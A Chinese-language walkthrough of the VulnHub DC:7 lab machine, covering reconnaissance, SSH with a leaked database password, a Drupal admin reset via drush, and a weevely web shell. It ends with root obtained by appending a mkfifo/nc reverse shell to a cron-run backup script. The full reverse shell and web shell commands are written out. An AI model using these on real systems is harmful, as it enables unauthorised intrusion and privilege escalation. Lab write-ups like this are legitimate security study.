准備工作
在vulnhub官網下載DC:7靶機DC: 7 ~ VulnHub
導入到vmware,設置成NAT模式
打開kali准備進行滲透(ip:192.168.200.6)
信息收集
已經知道了靶機的ip192.168.200.19 利用nmap進行端口探測
nmap -sV -p- 192.168.200.19
開放了80端口和22端口,打開80端口
可以看到CMS是Drupal8,左上角還有個登陸頁面
但在嘗試dirsearch掃目錄,爆密碼,搜漏洞都沒有利用的點。
后面發現下面有一個@DC7USER,去搜一下還真有發現,DC7的作者上傳了源碼到github
下載來看看,在config.php找到了數據庫的賬號密碼dc7user——MdR3xOgB7#dW
嘗試用這個密碼登陸了一下頁面,失敗
那用這個密碼登陸一下ssh,成功
ssh dc7user@192.168.200.19
Drush
有一封郵件
看內容是通過這個腳本/opt/scripts/backups.sh將數據庫自動備份到/home/dc7user/backups/website.sql,這個腳本還是root權限
看看這個腳本的內容
在backups.sh文件中主要發現了兩個命令drush,gpg。
Drush是Drupal的命令行shell和Unix腳本接口。Drush Core附帶了許多有用的命令,可用於與模塊/主題/配置文件等代碼進行交互。gpg是加密的命令
查了一下drush命令可以修改密碼,但是使用drush命令的時候要先切換到網站源碼所在的目錄,不然會報錯
進入網站目錄/var/www/html。用drush命令將admin的密碼改成admin
drush user-password admin --password="admin"
登陸網站看看.
weevely
進入后台發現這里可以編輯頁面,那就可以寫一句話木馬,但是查到drupal8不支持php代碼,查找資料發現需要導入一個模塊
模塊地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 輸入直接安裝
選第二個選項,拉到下面將PHPFiter勾選,再拉到底部安裝
然后回到剛剛編輯首頁,可以看到有php的選項了,插入一句話代碼
輸入phpinfo();看看能不能執行
成功,接下來使用weevely生成木馬進行連接
weevely generate test test.php
然后將代碼復制到編輯的地方保存
再使用weevely連接
weevely http://192.168.200.19/ test
連接成功 獲得www-data權限
利用backups.sh提權
www-data對之前看到的backups.sh有修改權限
可以在這個腳本添加反彈shell的命令進行提權
很多服務器都將-e功能刪除了,只能這樣。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f
rm /tmp/f 刪除該文件(以免跟后面定義的 管道符 沖突) mkfifo /tmp/f 這是創建自定義有名管道符。管道符的名稱是 /tmp/f (用於進程間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個進程之間的通訊) cat /tmp/f 取出管道符中的內容,
|/bin/sh -i 2>&1 將前面取出的內容作為輸入,輸入給 /bin/sh,再將bash的標准錯誤輸出 也作為標准輸入 (2 >&1)給bash
然后再將bash的輸出,傳給nc 遠程,再將nc 傳來的數據,寫入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh
然后打開kali終端 nc -lvf 9999 進行監聽,可能要等挺長時間,因為這個腳本是隔一段時間執行一次
(這里我等了很久發現還沒有反應,查看了一下sh文件根本沒寫進去,然后想cd出去發現還沒有權限,還以為是我用weevely的方法有問題,網上其他人都是直接反彈shell的,后面發現是寫入的路徑有問題,應該使用絕對路徑/opt/scripts/backups.sh。如果發現很久沒反應一定要檢查是不是哪里出問題了)
等了一段時間后反彈成功,拿到flag